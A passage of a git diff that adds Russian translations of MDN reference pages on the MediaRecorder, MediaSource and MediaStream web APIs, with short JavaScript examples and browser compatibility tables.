+<p>An <code>InvalidState</code> error is raised if the <code>requestData()</code> method is called while the <code>MediaRecorder</code> object’s {{domxref("MediaRecorder.state")}} is not "recording" — the media cannot be captured if recording is not occurring.</p>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: js">...
+
+  captureMedia.onclick = function() {
+    mediaRecorder.requestData();
+    // makes snapshot available of data so far
+    // ondataavailable fires, then capturing continues
+    // in new Blob
+  }
+
+...</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("MediaStream Recording", "#widl-MediaRecorder-requestData-void", "MediaRecorder.requestData()")}}</td>
+   <td>{{Spec2("MediaStream Recording")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(47)}}<sup>[2]</sup></td>
+   <td>{{CompatGeckoDesktop("25.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("25.0")}}</td>
+   <td>1.3<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] The intial Firefox OS implementation only supported audio recording.</p>
+
+<p>[2] To try this feature on Chrome, enable <em>Experimental Web Platform features</em> from <a>chrome://flags</a> . Currently only video is supported, not audio.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/MediaRecorder_API/Using_the_MediaRecorder_API">Using the MediaRecorder API</a></li>
+ <li><a href="http://mdn.github.io/web-dictaphone/">Web Dictaphone</a>: MediaRecorder + getUserMedia + Web Audio API visualization demo, by <a href="https://twitter.com/chrisdavidmills">Chris Mills</a> (<a href="https://github.com/mdn/web-dictaphone/">source on Github</a>.)</li>
+ <li><a href="http://simpl.info/mediarecorder/">simpl.info MediaStream Recording demo</a>, by <a href="https://twitter.com/sw12">Sam Dutton</a>.</li>
+ <li>{{domxref("Navigator.getUserMedia")}}</li>
+</ul>
diff --git a/files/ru/web/api/mediarecorder/start/index.html b/files/ru/web/api/mediarecorder/start/index.html
new file mode 100644
index 0000000000..c86d17137e
--- /dev/null
+++ b/files/ru/web/api/mediarecorder/start/index.html
@@ -0,0 +1,80 @@
+---
+title: MediaRecorder.start()
+slug: Web/API/MediaRecorder/start
+translation_of: Web/API/MediaRecorder/start
+---
+<div>{{APIRef("Media Recorder API")}}</div>
+
+<p><span class="seoSummary">Метод <strong><code>MediaRecorder.start()</code></strong> (часть <a href="/en-US/docs/Web/API/MediaRecorder_API">MediaRecorder API</a>) используется для начала захвата медиа {{domxref("Blob")}}.</span></p>
+
+<p>When the <code>start()</code> method is invoked, the UA queues a task that runs the following steps:</p>
+
+<ol>
+ <li>If the {{domxref("MediaRecorder.state")}} is not "inactive", raise a DOM <code>InvalidState</code> error and terminate these steps. if the {{domxref("MediaRecorder.state")}} is "inactive", continue on to the next step.</li>
+ <li>Set the {{domxref("MediaRecorder.state")}} to "recording" and wait until media becomes available from the <code>stream</code> passed into {{domxref("Navigator.getUserMedia")}}.</li>
+ <li>Once data becomes available, raise a {{domxref("MediaRecorder.start")}} event and start gathering the data into a {{domxref("Blob")}} (see <cite><a class="bibref" href="https://dvcs.w3.org/hg/dap/raw-file/default/media-stream-capture/MediaRecorder.html#bib-FILE-API">FILE-API</a></cite>).</li>
+ <li>If the <code>timeSlice</code> argument has been provided, once that many milliseconds of data have been collected — or a minimum time slice imposed by the UA, whichever is greater — raise a {{domxref("MediaRecorder.dataavailable")}} event containing the Blob of collected data, and start gathering a new Blob of data. If <code>timeSlice</code> has not been provided, continue gathering data into the original Blob.</li>
+ <li>When the <code>stream</code> is ended, set {{domxref("MediaRecorder.state")}} to "inactive" and stop gathering data.</li>
+ <li>Raise a {{domxref("MediaRecorder.dataavailable")}} event containing the Blob of data.</li>
+ <li>Raise a {{domxref("MediaRecorder.stop")}} event.</li>
+</ol>
+
+<div class="note">
+<p><strong>Note</strong>: If the browser is unable to start recording or continue recording, it<em> will</em> raise a {{domxref("DOMError")}} event, followed by a {{domxref("MediaRecorder.dataavailable")}} event containing the Blob it has gathered, followed by the {{domxref("MediaRecorder.stop")}} event.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">MediaRecorder.start(timeslice)</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>timeslice</code> {{optional_inline}}</dt>
+ <dd>Этот параметр принимает значение в миллисекундах, и переопределяет длину куска захвата медиа для возвращения в каждом Blob. Если не указан, то все медиа данные будут занесены в один Blob, только если не был вызван метод {{domxref("MediaRecorder.requestData")}}.</dd>
+</dl>
+
+<h3 id="Ошибки">Ошибки</h3>
+
+<p>An <code>InvalidState</code> error is raised if the <code>start()</code> method is called while the <code>MediaRecorder</code> object’s {{domxref("MediaRecorder.state")}} is not "inactive" — it makes no sense to start media capture if it is already happening.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">...
+
+  record.onclick = function() {
+    mediaRecorder.start();
+    console.log("рекордер запущен");
+  }
+
+...</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("MediaStream Recording", "#widl-MediaRecorder-start-void-long-timeslice", "MediaRecorder.start()")}}</td>
+   <td>{{Spec2("MediaStream Recording")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.MediaRecorder.start")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/API/MediaRecorder_API/Using_the_MediaRecorder_API">Использование MediaRecorder API</a></li>
+ <li><a href="http://mdn.github.io/web-dictaphone/">Веб-диктофон</a>: MediaRecorder + getUserMedia + Web Audio API от <a href="https://twitter.com/chrisdavidmills">Chris Mills</a> (<a href="https://github.com/mdn/web-dictaphone/">исходники на Github</a>.)</li>
+ <li><a href="http://simpl.info/mediarecorder/">simpl.info Пример использования MediaStream</a> от <a href="https://twitter.com/sw12">Sam Dutton</a>.</li>
+ <li>{{domxref("Navigator.getUserMedia")}}</li>
+</ul>
diff --git a/files/ru/web/api/mediarecorder/state/index.html b/files/ru/web/api/mediarecorder/state/index.html
new file mode 100644
index 0000000000..b153d0d1ae
--- /dev/null
+++ b/files/ru/web/api/mediarecorder/state/index.html
@@ -0,0 +1,84 @@
+---
+title: MediaRecorder.state
+slug: Web/API/MediaRecorder/state
+translation_of: Web/API/MediaRecorder/state
+---
+<div>{{APIRef("MediaStream Recording")}}</div>
+
+<p>Свойство только для чтения <strong><code>MediaRecorder.state</code></strong> возвращает текущее состояние определённого объекта <code>MediaRecorder</code>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>state</em> = MediaRecorder.state</pre>
+
+<h3 id="Значения">Значения</h3>
+
+<p>Объект <a href="http://w3c.github.io/web-animations/#enumdef-animationplaystate">AnimationPlayState</a> содержит одно из нижеперечисленных значений:</p>
+
+<table class="simple">
+ <thead>
+  <tr>
+   <th scope="row">Значение</th>
+   <th scope="col">Описание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row"><code id="idl-def-RecordingStateEnum.inactive">inactive</code></th>
+   <td>Запись не ведётся — она ещё не была начата или уже была осуществлена и остановлена.</td>
+  </tr>
+  <tr>
+   <th scope="row"><code id="idl-def-RecordingStateEnum.recording">recording</code></th>
+   <td>Запись начата и UA собирает данные.</td>
+  </tr>
+  <tr>
+   <th scope="row"><code id="idl-def-RecordingStateEnum.paused">paused</code></th>
+   <td>Запись была начата, но поставлена на паузу, не остановлена и ещё не возобновлена.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">...
+
+  record.onclick = function() {
+    mediaRecorder.start();
+    console.log(mediaRecorder.state);
+    // Должно вернуть "recording"
+    console.log("захват начат");
+  }
+
+...</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("MediaStream Recording", "#widl-MediaRecorder-state", "MediaRecorder.state")}}</td>
+   <td>{{Spec2("MediaStream Recording")}}</td>
+   <td>Определена</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.MediaRecorder.state")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/API/MediaRecorder_API/Using_the_MediaRecorder_API">Использование MediaRecorder API</a></li>
+ <li><a href="http://mdn.github.io/web-dictaphone/">Веб-диктафон</a>: MediaRecorder + getUserMedia + Web Audio API от <a href="https://twitter.com/chrisdavidmills">Chris Mills</a> (<a href="https://github.com/mdn/web-dictaphone/">исходники на Github</a>.)</li>
+ <li><a href="http://simpl.info/mediarecorder/">simpl.info Демонстрация MediaStream Recording</a> от <a href="https://twitter.com/sw12">Sam Dutton</a>.</li>
+ <li>{{domxref("Navigator.getUserMedia")}}</li>
+</ul>
diff --git a/files/ru/web/api/mediasource/index.html b/files/ru/web/api/mediasource/index.html
new file mode 100644
index 0000000000..86746ab4e1
--- /dev/null
+++ b/files/ru/web/api/mediasource/index.html
@@ -0,0 +1,194 @@
+---
+title: MediaSource
+slug: Web/API/MediaSource
+tags:
+  - Видео
+  - Интерфейс
+  - Источник
+  - Потоковое медиа
+  - Расширение
+  - аудио
+translation_of: Web/API/MediaSource
+---
+<p>{{APIRef("Media Source Extensions")}}{{SeeCompatTable}}</p>
+
+<p><strong><code>MediaSource</code></strong> – это интерфейс <a href="/en-US/docs/Web/API/Media_Source_Extensions_API">Media Source Extensions API</a> для предоставления интерактивного источника медиаданных объектам типа {{domxref("HTMLMediaElement")}}.</p>
+
+<h2 id="Конструктор">Конструктор</h2>
+
+<dl>
+ <dt>{{domxref("MediaSource.MediaSource", "MediaSource()")}}</dt>
+ <dd>Создает и возвращает новый объект <code>MediaSource</code> не имеющий подключенных буферов данных.</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Наследует свойства родительского интерфейса , {{domxref("EventTarget")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("MediaSource.sourceBuffers")}} {{readonlyInline}}</dt>
+ <dd>Возвращает объект типа {{domxref("SourceBufferList")}}  содержащий список объектов типа {{domxref("SourceBuffer")}} , связанных непосредственно с текущим <code>MediaSource</code>.</dd>
+ <dt>{{domxref("MediaSource.activeSourceBuffers")}} {{readonlyInline}}</dt>
+ <dd>Возвращает объект типа {{domxref("SourceBufferList")}} содержащий подмножество объектов типа {{domxref("SourceBuffer")}} хранящих в себе другие объекты типа {{domxref("SourceBuffers")}} — список объектов, предоставляющих доступ к выбранному видео, доступным аудиодорожкам, текстовым данным и тд.</dd>
+ <dt>{{domxref("MediaSource.readyState")}} {{readonlyInline}}</dt>
+ <dd>Возвращает enum, отображающий состояние текущего <code>MediaSource-объекта</code>, будь то отсутствие подключения к медиа-элементу(<code>closed</code>), подключенный и готовый к передаче объектов типа {{domxref("SourceBuffer")}} (<font face="consolas, Liberation Mono, courier, monospace">open</font>), или подключенный, но с завершенным потоком {{domxref("MediaSource.endOfStream()")}} (<code>ended</code>.)</dd>
+ <dt>{{domxref("MediaSource.duration")}}</dt>
+ <dd>Возвращает или устанавливает продолжительность предоставляемых медиаданных.</dd>
+</dl>
+
+<dl>
+</dl>
+
+<dl>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Наследует свойства родительского интерфейса, {{domxref("EventTarget")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("MediaSource.addSourceBuffer()")}}</dt>
+ <dd>Создает новый объект типа {{domxref("SourceBuffer")}}, с указанным  MIME-типом и добавляет в список <code>MediaSource</code>'s {{domxref("SourceBuffers")}}.</dd>
+ <dt>{{domxref("MediaSource.removeSourceBuffer()")}}</dt>
+ <dd>Удаляет указанный {{domxref("SourceBuffer")}} из списка {{domxref("SourceBuffers")}}, связанного с текущим <code>MediaSource-объектом</code>.</dd>
+ <dt>{{domxref("MediaSource.endOfStream()")}}</dt>
+ <dd>Сигнализирует об окончании потока.</dd>
+ <dt>
+ <h2 id="Статичные_методы">Статичные методы</h2>
+ </dt>
+ <dt>{{domxref("MediaSource.isTypeSupported()")}}</dt>
+ <dd>Возвращает значение {{domxref("Boolean")}}, поясняющее, поддерживается ли клиентом полученный MIME-тип  — если это так, то можно успешно создать объект типа {{domxref("SourceBuffer")}} для этого MIME-типа.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Нижеприведенный простой пример подгружает видео фрагмент за фрагментом так скоро, как может, воспроизводя их "как только так сразу". Этот пример был написан Nick Desaulniers и может быть <a href="http://nickdesaulniers.github.io/netfix/demo/bufferAll.html">просмотрен здесь в виде демо</a> (также вы можете <a href="https://github.com/nickdesaulniers/netfix/blob/gh-pages/demo/bufferAll.html">загрузить исходный код</a> для дальнейшего изучения.)</p>
+
+<pre class="brush: js">var video = document.querySelector('video');
+
+var assetURL = 'frag_bunny.mp4';
+// Need to be specific for Blink regarding codecs
+// ./mp4info frag_bunny.mp4 | grep Codec
+var mimeCodec = 'video/mp4; codecs="avc1.42E01E, mp4a.40.2"';
+
+if ('MediaSource' in window &amp;&amp; MediaSource.isTypeSupported(mimeCodec)) {
+  var mediaSource = new MediaSource();
+  //console.log(mediaSource.readyState); // closed
+  video.src = URL.createObjectURL(mediaSource);
+  mediaSource.addEventListener('sourceopen', sourceOpen);
+} else {
+  console.error('Unsupported MIME type or codec: ', mimeCodec);
+}
+
+function sourceOpen (_) {
+  //console.log(this.readyState); // open
+  var mediaSource = this;
+  var sourceBuffer = mediaSource.addSourceBuffer(mimeCodec);
+  fetchAB(assetURL, function (buf) {
+    sourceBuffer.addEventListener('updateend', function (_) {
+      mediaSource.endOfStream();
+      video.play();
+      //console.log(mediaSource.readyState); // ended
+    });
+    sourceBuffer.appendBuffer(buf);
+  });
+};
+
+function fetchAB (url, cb) {
+  console.log(url);
+  var xhr = new XMLHttpRequest;
+  xhr.open('get', url);
+  xhr.responseType = 'arraybuffer';
+  xhr.onload = function () {
+    cb(xhr.response);
+  };
+  xhr.send();
+};</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Media Source Extensions', '#mediasource', 'MediaSource')}}</td>
+   <td>{{Spec2('Media Source Extensions')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>23{{property_prefix("-webkit")}}<br>
+    31</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("25.0")}}<sup>[1]</sup><br>
+    {{CompatGeckoDesktop("42.0")}}</td>
+   <td>11<sup>[2]</sup></td>
+   <td>15</td>
+   <td>8</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4.4.4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>
+    <p>41.0</p>
+   </td>
+   <td>41.0</td>
+   <td>11</td>
+   <td>30</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Available after switching the <code>about:config</code> preference <code>media.mediasource.enabled</code> to <code>true</code>. In addition, support was limited to a whitelist of sites, for example YouTube, Netflix, and other popular streaming sites. The whitelist was removed and Media Source Extensions was enabled by default in 42+ for all sites.</p>
+
+<p>[2] Only works on Windows 8+.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("SourceBuffer")}}</li>
+ <li>{{domxref("SourceBufferList")}}</li>
+</ul>
diff --git a/files/ru/web/api/mediastream/active/index.html b/files/ru/web/api/mediastream/active/index.html
new file mode 100644
index 0000000000..2c94693316
--- /dev/null
+++ b/files/ru/web/api/mediastream/active/index.html
@@ -0,0 +1,53 @@
+---
+title: active
+slug: Web/API/MediaStream/active
+translation_of: Web/API/MediaStream/active
+---
+<p>{{APIRef("Media Capture and Streams")}}</p>
+
+<p>Свойство только для чтения <strong><code>active</code></strong> интерфейса {{domxref("MediaStream")}} возвращает логическое значение, которое может быть <code>true</code>, если стрим активен; во всех остальных случаях, будет возвращён <code>false</code>. Стрим считается <strong>активным,</strong> если хотя бы один из {{domxref("MediaStreamTrack")}} не находится в состоянии {{domxref("MediaStreamTrack.ended")}}. Как только все track завершатся, свойство <code>active</code> переключится в состояние <code>false</code>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>isActive</em> = <em>MediaStream</em>.active;</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>Логическое значение равно <code>true</code>, если стрим активен; в противном случае, возвращается <code>false</code>.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>В этом примере, стрим ведётся с пользовательского микрофона и веб-камеры, запрошенных с помощью {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}}. Когда стрим становится активным (а это тогда, когда выполнен {{jsxref("Promise")}}, кнопка на странице обновляется, опираясь на состояние стрима, активен он или же нет.</p>
+
+<pre class="brush: js">var promise = navigator.mediaDevices.getUserMedia({
+  audio: true,
+  video: true
+});
+
+promise.then(function(stream) {
+  var startBtn = document.querySelector('#startBtn');
+  startBtn.disabled = stream.active;
+};)</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Media Capture', '#widl-MediaStream-active', 'active')}}</td>
+   <td>{{Spec2('Media Capture')}}</td>
+   <td>Определено.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.MediaStream.active")}}</p>
diff --git a/files/ru/web/api/mediastream/index.html b/files/ru/web/api/mediastream/index.html
new file mode 100644
index 0000000000..1ad0887194
--- /dev/null
+++ b/files/ru/web/api/mediastream/index.html
@@ -0,0 +1,134 @@
+---
+title: MediaStream
+slug: Web/API/MediaStream
+tags:
+  - API
+  - Media Streams API
+  - MediaStream
+  - Reference
+  - TopicStub
+  - WebRTC
+  - Интерфейс
+translation_of: Web/API/MediaStream
+---
+<p>{{APIRef("Media Capture and Streams")}}</p>
+
+<p><span class="seoSummary">Интерфейс <strong><code>MediaStream</code></strong> представляет поток медиа данных. Поток состоит из нескольких <strong>треков</strong>, таких как видео и аудио треки. Каждый трек является экземпляром {{domxref("MediaStreamTrack")}}. MediaStream можно получить либо с помощью конструктора, либо вызовом {{domxref("MediaDevices.getUserMedia()")}}.</span></p>
+
+<p>Некоторые агенты предоставляют подклассы, чтобы привести более точную информацию или расширить функционал, например {{domxref("CanvasCaptureMediaStream")}}.</p>
+
+<h2 id="Конструктор">Конструктор</h2>
+
+<dl>
+ <dt>{{domxref("MediaStream.MediaStream", "MediaStream()")}}</dt>
+ <dd>Создаёт и возвращает новый объект MediaStream. Можно создать пустой поток, поток, основанный на существующем или содержащий указанный список треков (массив объектов {{domxref("MediaStreamTrack")}}).</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Этот интерфейс наследует свойства своего родителя, </em><em>{{domxref("EventTarget")}}.</em></p>
+
+<dl>
+</dl>
+
+<dl>
+ <dt>{{domxref("MediaStream.active")}} {{readonlyinline}}</dt>
+ <dd>Возвращает <code>true</code>, если <code>MediaStream</code> активен, иначе <code>false</code>.</dd>
+ <dt>{{domxref("MediaStream.ended")}} {{readonlyInline}} {{obsolete_inline()}}</dt>
+ <dd>Возвращает <code style="font-size: 14px;">true</code>, если достигнут конец потока. Это свойство удалено из спецификации; следует проверять свойство {{domxref("MediaStreamTrack.readyState")}}, которое имеет значение <code>"ended"</code> у завершённых треков.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("MediaStream.id")}} {{readonlyInline}}</dt>
+ <dd>Объект {{domxref("DOMString")}}, содержащий 36 символов универсального уникального идентификатора (UUID) потока.</dd>
+</dl>
+
+<h3 id="Обработчики_событий">Обработчики событий</h3>
+
+<dl>
+ <dt>{{domxref("MediaStream.onaddtrack")}}</dt>
+ <dd>Объект {{domxref("EventHandler")}}, содержащий действие, которое должно выполняться, когда случается событие {{event("addtrack")}} при добавлении нового объекта {{domxref("MediaStreamTrack")}}.</dd>
+ <dt>{{domxref("MediaStream.onremovetrack")}}</dt>
+ <dd>Объект {{domxref("EventHandler")}}, содержащий действие, которое должно выполняться, когда случается событие {{event("removetrack")}} при удалении объекта  {{domxref("MediaStreamTrack")}}.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Этот интерфейс наследует методы своего родителя, </em><em>{{domxref("EventTarget")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("MediaStream.addTrack()")}}</dt>
+ <dd>Сохраняет копию данного объекта {{domxref("MediaStreamTrack")}}. Если данный трек добавлялся в <code>MediaStream</code> ранее, ничего не происходит.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("MediaStream.clone()")}}</dt>
+ <dd>Возвращает точную копию объекта <code>MediaStream</code>. Исключение составляет значение {{domxref("MediaStream.id", "id")}}, которое изменится на новое уникальное.</dd>
+</dl>
+
+<dl>
+ <dt><span style="line-height: 1.572;">{{domxref("MediaStream.getAudioTracks()")}}</span></dt>
+ <dd><span style="line-height: 1.572;">Возвращает список объектов {{domxref("MediaStreamTrack")}}, хранимых в объекте </span><code style="font-size: 14px;">MediaStream</code><span style="line-height: 1.572;"> с атрибутом </span><code style="font-size: 14px;">kind</code><span style="line-height: 1.572;"> имеющим значение </span><code style="font-size: 14px;">"audio"</code><span style="line-height: 1.572;">. Порядок не определён и может меняться между браузерами, а также между вызовами.</span></dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("MediaStream.getTrackById()")}}</dt>
+ <dd>Возвращает трек с <code style="font-size: 14px;">trackid</code> соответствующем данному. Если в метод не передано аргументов или трека с данным ID нет, возвращает <code>null</code>. Если несколько треков имеют одинаковый ID, возвращает первый из них.</dd>
+ <dt>{{domxref("MediaStream.getTracks()")}}</dt>
+ <dd>Возвращает список всех объектов {{domxref("MediaStreamTrack")}}, сохранённых в объекте <code>MediaStream</code>, вне зависимости от значения их свойства <code>kind</code>. Порядок не определён и может меняться между брауерами, а также между вызовами.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("MediaStream.getVideoTracks()")}}</dt>
+ <dd><span style="line-height: 1.572;">Возвращает список объектов {{domxref("MediaStreamTrack")}}, хранимых в объекте </span><code style="font-size: 14px;">MediaStream</code><span style="line-height: 1.572;"> с атрибутом </span><code style="font-size: 14px;">kind</code><span style="line-height: 1.572;"> имеющим значение </span><code style="font-size: 14px;">"video"</code><span style="line-height: 1.572;">. Порядок не определён и может меняться между браузерами, а также между вызовами.</span></dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("MediaStream.removeTrack()")}}</dt>
+ <dd>Удаляет данный объект {{domxref("MediaStreamTrack")}}. Если данный трек не сохранён в объекте <code style="font-size: 14px;">MediaStream</code>, ничего не происходит.</dd>
+</dl>
+
+<h2 id="События">События</h2>
+
+<dl>
+ <dt><code><a href="/en-US/docs/Web/API/MediaStream/addtrack_event">addtrack</a></code></dt>
+ <dd>Вызывается при добавлении нового объекта {{domxref("MediaStreamTrack")}}.<br>
+ Также доступно как свойство <code><a href="/en-US/docs/Web/API/MediaStream/onaddtrack">onaddtrack</a></code>.</dd>
+ <dt><code><a href="/en-US/docs/Web/API/MediaStream/removetrack_event">removetrack</a></code></dt>
+ <dd>Вызывается при удалении объекта {{domxref("MediaStreamTrack")}}.<br>
+ Также доступно как свойство <code><a href="/en-US/docs/Web/API/MediaStream/onremovetrack">onremovetrack</a></code>.</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Media Capture', '#dom-mediastream', 'MediaStream')}}</td>
+   <td>{{Spec2('Media Capture')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.MediaStream")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Использование интерфейса MediaStream</li>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API">WebRTC API</a></li>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API">Web Audio API</a></li>
+ <li>{{domxref("MediaStreamTrack")}}</li>
+</ul>
diff --git a/files/ru/web/api/mediastream_recording_api/index.html b/files/ru/web/api/mediastream_recording_api/index.html
new file mode 100644
index 0000000000..deafe13eed
--- /dev/null
+++ b/files/ru/web/api/mediastream_recording_api/index.html
@@ -0,0 +1,129 @@
+---
+title: MediaStream Recording API
+slug: Web/API/MediaStream_Recording_API
+translation_of: Web/API/MediaStream_Recording_API
+---
+<div>{{DefaultAPISidebar("MediaStream Recording")}}</div>
+
+<p><span class="seoSummary"><strong>MediaStream Recording API</strong>, иногда просто называемый <em>Media Recording API</em> или<em> MediaRecorder API</em>, тесно связан с <a href="/en-US/docs/Web/API/Media_Streams_API">Media Capture and Streams API</a> и <a href="/en-US/docs/Web/API/WebRTC_API">WebRTC API</a>. MediaStream Recording API делает возможным захват данных, сгенерированных {{domxref("MediaStream")}} или {{domxref("HTMLMediaElement")}} объектом для анализа, обработки или сохранения на дисковое пространство. С ним так же удивительно легко работать.</span></p>
+
+<h2 id="Базовая_концепция">Базовая концепция</h2>
+
+<p>MediaStream Recording API состоит из единого интерфейса, {{domxref("MediaRecorder")}}, который делает всю работу, принимая данные из {{domxref("MediaStream")}} и доставляя их обработчику. Данные поставляются с помощью серии {{event("dataavailable")}} событий, уже в том формате, который был указан, когда <code>MediaRecorder</code> был создан. Процесс записи потока прост:</p>
+
+<ol>
+ <li>Установите {{domxref("MediaStream")}} или {{domxref("HTMLMediaElement")}} (в виде {{HTMLElement("audio")}} или {{HTMLElement("video")}} элемента), чтобы тот служил в качестве источника медиа-данных.</li>
+ <li>Установите {{domxref("MediaRecorder.ondataavailable")}} обработчик событий для {{event("dataavailable")}} событий; он будет вызываться каждый раз, как данные будут доступны.</li>
+ <li>Создайте {{domxref("MediaRecorder")}} объект, указав исходный поток и любые опции по желанию (такие как MIME-тип контейнера или желаемый битрей его треков).</li>
+ <li>Как только исходная медиа запустится и будет достигнута точка, где вы будете готовы записать видео, вызовите {{domxref("MediaRecorder.start()")}} для начала записи.</li>
